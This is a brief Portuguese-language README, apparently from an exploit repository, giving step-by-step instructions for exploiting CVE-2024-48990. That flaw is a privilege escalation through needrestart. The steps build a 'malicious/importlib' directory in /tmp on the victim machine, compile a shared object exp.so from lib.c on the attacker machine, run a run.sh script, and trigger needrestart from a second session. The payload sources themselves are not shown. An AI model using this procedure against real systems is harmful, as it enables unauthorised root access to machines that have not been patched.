CVE-2024-48990

olá, este é 0x3bs

Na máquina vítima:

set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

na máquina atacante

para compilar lib.c na máquina atacante:

gcc -shared -fPIC -o exp.so lib.c 

e na máquina vítima:

em /tmp

chmod +x run.sh

em /tmp/malicious/importlib :

chmod +x exp.so

./exp.so

# try to run it after run 'run.sh' if it didn't work

e em /tmp

./run.sh

e em outra sessão execute o needrestart

lembre-se >> o exp.so deve estar em /tmp/malicious/importlib